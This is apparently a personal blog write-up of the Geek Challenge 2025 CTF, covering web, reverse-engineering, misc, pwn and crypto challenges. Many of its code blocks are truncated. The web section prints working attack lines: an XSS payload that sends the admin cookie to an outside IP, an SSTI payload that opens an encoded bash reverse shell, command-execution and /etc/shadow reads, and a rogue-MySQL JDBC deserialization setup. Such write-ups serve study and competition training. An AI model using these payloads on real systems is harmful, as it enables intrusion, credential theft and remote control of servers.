极客大挑战2025wp

web-阿基里斯追乌龟

控制台改值(抓包改也可以

web-Vibe SEO
题目提示站点地图,sitemap


提示缺少filename参数,传他自己

拿到源码
由于my_my_secret.txt已经使用fopen打开,使用我们可以在fd文件中找到


web-Xross The Finish Line
是一个留言板,xss盗管理员cookie
没有过滤svg标签,过滤空格用%09绕过,单引号使用html编码
payload
1 | content=<svg%09onload=fetch(%26%23x27%3bhttp://47.xxx.xxx.xxx/?jkdtz=%26%23x27%3b%2bdocument.cookie)> |

web-Expression
随便注册一个账号,登陆发现回显了用户名,并且使用jwt

爆破密钥

修改用户名


存在ssti,没过滤
payload
1 | <%- global.process.mainModule.require('child_process').execSync('env') %> |

web-popself
给出源码
1 |
|
首先他有一个MD5比较
1 | public function __destruct(){ |
找两个数
1 | hgccx3 |
弱比较能过,强比较不行

1 | public function __tostring(){ |
使用数组来实现调用某个类中的某个方法
1 |
|

payload
1 |
|
web-one_last_image
文件上传



web-Sequal No Uta
存在sql注入,过滤空格%09绕过


打布尔盲注,payload
1 | import requests |

web-ez_read
先随便注册一个账号
发现任意文件读取

1 | from flask import Flask, request, render_template, render_template_string, redirect, url_for, session |
已经拿到了waf,写一个转发脚本
1 | from flask import Flask, request, Response |
读取env,发现hint让我那他提权

web-百年继承


是一个py的原型链污染
首先污染execute_method

发现让他处决失败并没有给出flag
但是发现他回显了处决失败,所以让他命令执行
1 | {"__class__": {"__base__": {"__base__": {"execute_method": "lambda executor, target: (target.__del__(), setattr(target, 'alive', True), __import__('subprocess').check_output(['env']).decode())"}}}} |

web-ez-seralize
首先是一个文件读取,我们可以读取index.php,在index中发现了一些配置

限制了open_basedir
然后发现require 'function.php';也读取一下发现是类

然后扫目录发现了uploads.php

通过简单分析就可以发现利用过程
首先需要根据function.php中的类生成一个恶意的phar文件,然后通过phar://伪协议来触发,最后读取/tmp/flag即可
链子不复杂
1 |
|
生成后改名为1.jpg上传
上传后看log获取文件名

然后phar://触发

成功触发

web-eeeeezzzzzzZip
扫目录发现源码

拿到账号密码


考点php 文件上传不含一句 php 代码 RCE 最新新姿势-先知社区
生成恶意文件脚本
1 |
|

web-路在脚下
web-misc-西纳普斯的许愿碑
给出源码,是一个沙箱逃逸的题目
有个关键路由/api/wishes
get 是沙箱执行wishes列表中的命令
post 是写入wishes(0.5秒会清空一次)
重点分析 wish_stone
1 | import multiprocessing |
首先在evaluate_wish_text会进行字符检查,通过后拼接进CODE后进入safe_grant
safe_grant先对字符进行decode('unicode_escape'),随后进行ast沙箱检查
检查通过后创建一个线程去执行,return输出
然后CODE是一个audit hook
然后就是绕过了
用")--内容--print("就可以就可以执行代码了
在safe_grant中有wish = wish.encode().decode('unicode_escape')
所以将内容进行unicode编码即可绕过
然后是绕过沙盒里的审计钩子。这里可以直接重写len方法和list方法,使得他们固定返回指定的bool值
然后就是ast的绕过,禁止了生成器与一些魔术属性与方法,有一个Exception,能用异常栈帧逃逸出来后把visit_Attribute扬了就可以
所以使用以下payload
1 | ") |
完整代码
1 | #!/usr/bin/env python3 |

参考链接
miniLCTF2025-Web/Misc出题与WP - xt’s blog
web-Image Viewer
是一个图片阅览的功能
他会解析内容然后转成base64字符串
所以我们自然想到了构造一个恶意的svg图片让服务器解析
payload
1 | <?xml version="1.0" encoding="UTF-8"?> |


web-PDF Viewer
打开发现是一个把网站转换为pdf的功能

把里面链接换成我们的vps

发现里面的功能实现是靠一个叫wkhtmltopdf的东西
搜一搜发现文章

1 | <h1>blahblah</h1> |
尝试读环境变量,让我们换思路
然后发现有一个登陆功能
我们又找到一篇文章

去读/etc/shadow


得到密码

web-Xross The Doom
漏洞分析
关键点:
目标:Bot访问
/admin/review/{id}时会携带包含FLAG的cookie([FLAG=flag{xxx}](vscode-file://vscode-app/d:/Users/tiran/AppData/Local/Programs/Microsoft VS Code/resources/app/out/vs/code/electron-browser/workbench/workbench.html),路径为/admin)DOMPurify绕过:虽然内容经过了DOMPurify过滤,但[admin.js](vscode-file://vscode-app/d:/Users/tiran/AppData/Local/Programs/Microsoft VS Code/resources/app/out/vs/code/electron-browser/workbench/workbench.html)中存在DOM Clobbering漏洞:
1
2
3const auto = asBool(window.AUTO_SHARE);
const path = asPath(window.CONFIG_PATH);
const includeCookie = asBool(window.CONFIG_COOKIE_DEBUG);逻辑漏洞:当这些值为true/特定值时,会自动发送请求带上cookie:
1
2
3
4
5
6
7if (auto) {
const target = buildTarget('/analytics', path);
if (includeCookie) {
qs.set('c', document.cookie);
}
fetch(target + '?' + qs.toString());
}路径遍历:[buildTarget](vscode-file://vscode-app/d:/Users/tiran/AppData/Local/Programs/Microsoft VS Code/resources/app/out/vs/code/electron-browser/workbench/workbench.html)函数支持
..来构造任意路径,可以访问/log端点
攻击步骤
创建一个payload,利用DOM Clobbering来控制这些变量:
1 | <a id="AUTO_SHARE"></a> |
这样会导致:
- [window.AUTO_SHARE](vscode-file://vscode-app/d:/Users/tiran/AppData/Local/Programs/Microsoft VS Code/resources/app/out/vs/code/electron-browser/workbench/workbench.html) =
<a>元素(truthy) - [window.CONFIG_COOKIE_DEBUG](vscode-file://vscode-app/d:/Users/tiran/AppData/Local/Programs/Microsoft VS Code/resources/app/out/vs/code/electron-browser/workbench/workbench.html) =
<a>元素(truthy) - [window.CONFIG_PATH](vscode-file://vscode-app/d:/Users/tiran/AppData/Local/Programs/Microsoft VS Code/resources/app/out/vs/code/electron-browser/workbench/workbench.html) =
<form>元素,[action=”../log”](vscode-file://vscode-app/d:/Users/tiran/AppData/Local/Programs/Microsoft VS Code/resources/app/out/vs/code/electron-browser/workbench/workbench.html) - 最终请求到
/log?id=xxx&ua=xxx&c=FLAG=flag{xxx}
然后访问/logs端点查看收集到的cookie。
1 | #!/usr/bin/env python3 |

web-路在脚下_revenge

回显name字段

测试发现是一个无回显的ssti
反弹shell
1 | {{((sbwaf|attr('__eq__'))['__g''lobals__']['s''ys']['modules']['o''s']['po''pen']('bash${IFS}-c${IFS}\'{echo,YmFzaCAtaSA%2BJiAvZGV2L3RjcC80Ny4xMjIuMTE1LjI5Lzc3NzcgMD4mMQ%3D%3D}|{base64,-d}|{bash,-i}\''))['read']()}} |


web-ezjdbc
根据依赖和源码,确定要打JBDC反序列化

在vps上启用一个恶意mysql服务,传输payload
脚本为
1 | # -*- coding: utf-8 -*- |
运行这个脚本开启监听,然后使用cc5的链子弹shell
1 | package com.example.cc; |
写一个脚本发送请求,浏览器可能会混淆,所以发包成功了
1 | import requests |
运行脚本发包,在恶意mysql监听可以看到收到的mysql握手包和我们发过去的payload

成功弹到shell,并在根目录拿到flag

re-stack_bomb
开始通过查看字符串找到主main函数
这题用f5是反编译不出主要的函数的
因为这个程序是通过修改eax的值,用call eax来实现跳转
将主main函数的汇编代码丢给ai分析
找到程序的主要逻辑是在这里

通过动调,在每一个call eax中f7
找到sub_E51920
通过动态调试分析逻辑发现这就是最主要的数据加密处理函数v71和v70都是我们输入的数据,以dword的形式来传入,接着在动调中的汇编代码查看每一个stack中所对应的数据或者所对应的地址,对每一步的操作进行解析

把所有的数据收集起来,最后让ai编写解密脚本
1 | # -*- coding: utf-8 -*- |
re-reReverse
做了好几天了
通过ai分析出了xxtea
但一直解不出来
尝试动态调试但无法调成功,进不到加密的函数中
把爆红的代码和题目描述给ai分析发现





让ai帮我生成一个trace脚本来dump汇编代码的正确执行顺序
1 | #!/usr/bin/env python3 |

把dump下来的内容再丢给ai分析,编写解密脚本
1 | #!/usr/bin/env python3 |
re-encode

scanf中有一个xtea加密


最后在compare里面有一个base64


解密脚本如下
1 | import base64 |
re-ez_pyyy

在线网站反编译
解密脚本如下
1 | cipher = [ |
re-only_flower
去花之后




解密脚本如下
1 |
|
re-ezRu3t

在字符表里先找到了base64和base85的表

先进行base64

再进行base85
主要是密文找了一会,最后在qword_14001E96B找到了

cyberchef一把梭

re-ezSMC




先rc4加密,密钥为0x11,再字符串转十六进制,再base64加密,再进行base58加密,直接cyberchef一把梭

re-Her
这题主要是卡在反调试,编写idapyhton代码过掉反调试,然后动态调试一步步跟
1 | import ida_bytes |
加密流程主要在这

通过输入不断验证
1 |
|
模拟出了函数的主要加密流程
直接编写爆破脚本
1 |
|
re-QYQSの奇妙冒险
在ida中找到main函数

发现主要加密都是通过异或来实现的
所以我们只需要把我们输入的内容patch成密文,经过异或就能还原出结果



re-Gensh1n
在ida中找到main函数



通过分析发现一开始就是让我们输入geek2025
但flag并不是这个

在我们输入正确的内容之后发现程序并没有结束,貌似好像还要再输入一些数据才会退出,所以推测main函数不是最主要的加密函数,真正的加密函数应该还在程序某处,而且第二次输入的数据应该才是真正的flag,而main函数最后就多出了
这个函数的作用不知道是什么
所以尝试交叉引用一下

发现还有另一个函数也引用了它,所以跟进去看看


发现是rc4加密,密钥就是我们一开始输入的geek2025
密文在result中

所以用cyberchef直接解

re-Mission Ghost Signal

解压出来两个程序,压缩包解压需要密码,encode.exe是一个密码验证程序,这个密码应该就是压缩包解压的密码











这里很明显就是一个AES-128-CBC 加密校验,1145141145144332是IV,Syclover2025Geek是KEY,但用的是自定义的sbox
解密脚本如下
1 | #!/usr/bin/env python3 |

解压之后是一个wav文件
把这个文件丢给ai帮忙分析


之后我用RX-SSTV提取出来了一个二维码图片

扫码之后下载了一个secret.zip
解压hi后还是一个wav文件,点开听发现是摩斯电码
直接让ai帮我解摩斯电码

re-QYQSの奇妙冒险2
直接在字符串里面搜索

这就是flag
re-GeekBinder

re-ez_vm
这题有点运气成分,把代码丢给ai,说要和0x5a进行异或

并且说密文长度为29

推测这个为密文
用SYC{为前缀进行猜测,和0x5a异或

发现和正确的密文之前就差了3
所以
re-ez_android

先在手机端查看,发现flag有三个块

接着在mainactivity分析,发现主要逻辑可能在second中
接着进second分析

找到这个关键点

跟到cryptoprocessor中

用jadx反编译有报错,就在smali中看smali语法


发现这里指定了路径,在资源文件中找

找到了对应的密文
接着找每一部分对应的加密方法
当时找了半天找不到在哪
所以试着在so文件里面碰碰运气,发现有一个libfunction3.so
所以在java中搜了搜function


function1用DES/ECB/NoPadding
先把flag1 16进制转字符串


解出flag1
进ida分析libwrapper.so
在里面找到function2

光看这个代码发现function2其实什么都没有
接着在Funtion name里面找到了一个可疑函数decrypt_xor
跟进去看

接着往上跟

发现这个程序其实是把encrypted_so这个数据和0xAA异或进行解密,才能显示正确的逻辑
这里直接用idapython把so文件还原
1 | import ida_name |
解密之后在ida里面找到function2

直接解rc4

接着看到libfunction3.so


知道是des加密,但是解半天解不出来,应该是在某个地方进行了魔改
由于des加密的对称性,所以就尝试用hook的方式,把flag3丢给des_crypt进行解密

这里需要注意的是,需要解出前面两个空才会走到function3这个so文件里面,才能成功调用这个函数
re-obfuscat3



说是混淆,尝试动态调试进行分析
全输入1试试看先
把加密过后的数据提取出来

再全输入2试试看

发现两个数据之间的差和asc码之间的差是一样的,如此可以根据密文来推算明文

1 |
|
re-国产の光

通过分析源代码可以知道用了AES CBC 加密,主要逻辑在libentry.so中,密码是welcometosyc2025,iv是helloimsamsarami
密文在


在这里找到base58和aes cbc加密的实现过程,base58变了个表



misc-HTTP

d参数一眼base64

全部拼一起
misc-🗃️🗃️

照片有exif信息,天坛公园
misc-evil_mcp

让ai写一个mcp的py代码
1 | from typing import Any |

misc-Bite off picture

base64倒序

修改宽高

misc-Blockchain SignIn
查看交易


misc-1Z_Sign

可知该交易来自UniswapV4fee = 9900
UniswapV4池子的费率在内部都以「百万分之一」为单位进行存储和计算。
fee = 1 代表费率为0.0001%
那么
fee = 9900 代表费率为0.99%
misc-Dream
发现一个交易记录


发现在input里面
misc-Points
- 通关条件是
points[msg.sender] >= 25 msg.sender的初始points是0
函数
checkIn():要求满足lastSignin[msg.sender] + wait <= block.timestamp || lastSignin[msg.sender] == 0,用户的points+1,同时lastSignin[msg.sender] = block.timestamp;也就是说我们第一次调用该函数时是满足条件的,该函数限制我们的调用次数 — ==1==transferPoints():target != address(0)要求目标地址为非零地址,当target的points= 0时,points[target] + transferpoints <= 3要求目标地址所持有的points与msg.sender转入的points和不大于3,也就是说,当我们的目标地址所持有的points为0时(第一个调用这个函数),我们能在这个函数得到最高3points —==3==buyPoints():我们初始是!isBuy所以是可以直接调用的,但要求我们持有的points大于3,且调用之后isBuy = true,限制我们只能调用一次 —==1==checkUserContract():我们输入一个合约地址,该合约进行静态调用自身的getValue(),如果第一次返回0,第二次返回1,msg.sender的points加10 —==10==good_luck():当我们持有的points == lucknum时,msg.sender的points加10,cast storage 读取lucknum的值为13 —==10==

思路
- 先构造两个攻击合约
attack1和attack2:attack1:只实现getValue(),用途是作为Points.checkUserContract()的 target 参数之一。getValue()的实现要能在目标合约对它做 两次staticcall时分别返回0(第一次)和1(第二次)。常见做法是让getValue()的返回依赖gasleft()或其它在两次调用之间可能不同的环境,可用 gasleft()第一次调用某地址gas fee 大于1000,再次访问gasfee小于1000,我们可以利用这一特质让其第一次返回0,第二次返回1。attack2:作为“协调器/部署器”——负责部署attack1(或其它 candidate),并在合适时机触发Points.checkUserContract(address(attack1))。此外attack2可以包含另一版getValue()作为备用 candidate,使你可以用不同策略做多次尝试。
vm.startBroadcast()(脚本发起 EOA 开始广播)- 部署
Attack2(Attack2构造函数内部部署Attack1) attack.attack()(由Attack2发起):Attack2调用了points.checkUserContract(address(attack1))(msg.sender=Attack2),如果Attack1.getValue()在两次staticcall中返回0then1,那么points[Attack2] += 10(Attack2 获得 10 分)。- 然后
Attack2调用points.transferPoints(tx.origin, 3),把 3 分从Attack2转给脚本发起的 EOA(前提:Attack2 有 >=3 分,EOA 当前分数为 0,因此接收限制points[target] + 3 <= 3被满足)。结果:Attack2剩 7,EOA 得 3。
- 脚本(EOA)调用
points.checkUserContract(address(attack))(此时msg.sender= EOA,userContract=attack2):- Points 对
attack2.getValue()做两次staticcall;若这两个调用返回0then1(Attack2.getValue 的实现与 Attack1 类似,依赖 gasleft),则 EOA 得 +10。结果:EOA 总分 = 3 + 10 = 13。
- Points 对
- 脚本(EOA)调用
points.good_luck():good_luck()内部计算target与pseudoRandom。你从 storage 读取到luckynum= 13。因为此时 EOA 的 points = 13(正好等于 luckynum),在当前block.timestamp与哈希组合下target与pseudoRandom会相等,从而获得 +10。结果:EOA 分数 = 13 + 10 = 23。
- 脚本调用
points.buyPoints():- 需
points[EOA] >= 3(满足),isBuy初始为false,调用成功,isBuy = true,并且points[EOA] += 1。结果:EOA = 23 + 1 = 24。
- 需
- 脚本调用
points.checkIn():- 首次签到
lastSignin[EOA] == 0,调用成功,points[EOA] += 1。结果:EOA = 24 + 1 = 25。
- 首次签到
- 脚本调用
points.check():require(points[msg.sender] >= 25)满足,Flag[EOA] = true,通关完成。
1 | // SPDX-License-Identifier: MIT |
misc-Expression Parser
没有过滤挺简单的
1 | [ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if x.__name__=="_wrap_close"][0]["popen"]('env').read() |

misc-hidden
改后缀为zip,解压

第一部分


第二部分

缺少文件头

第三部分
misc-CRDT
ai

misc-Echo
依旧ai

misc-gift
是一个压缩包

文件尾部有base64

得到密码,解压是一个图片

fft隐写

MISC-describe_the_world
MCP直接解
1 | from PIL import Image, ImageFont, ImageDraw |

解出来大概的轮廓,大概能瞪出来

misc-4ak5ra
使用010打开图片,发现图片尾包含一个zip
提取出来解压


lsb隐写

MISC-问卷

misc-monitoring
手绘大法


pwn-Mission Cipher Text
ida-mcp加ai

1 | #!/usr/bin/env python3 |
pwn-Mission Calculator
AI+MCP
1 | from pwn import * |

crypto-ez_xor

crypto-Caesar Slot Machine

1 | #!/usr/bin/env python3 |

crypto-ez_ecc

1 | from sage.all import * |

crypto-pem

crypto-baby_rabin

CRYPTO-xor_revenge

1 | #!/usr/bin/env python3 |

crypto-dp_spill

crypto-SBOX-revenge

1 | #!/usr/bin/env python3 |

- 标题: 极客大挑战2025wp
- 作者: tiran
- 创建于 : 2025-11-29 20:28:47
- 更新于 : 2025-11-29 20:29:06
- 链接: https://www.tiran.cc/2025/11/29/极客大挑战2025wp/
- 版权声明: 本文章采用 CC BY-NC-SA 4.0 进行许可。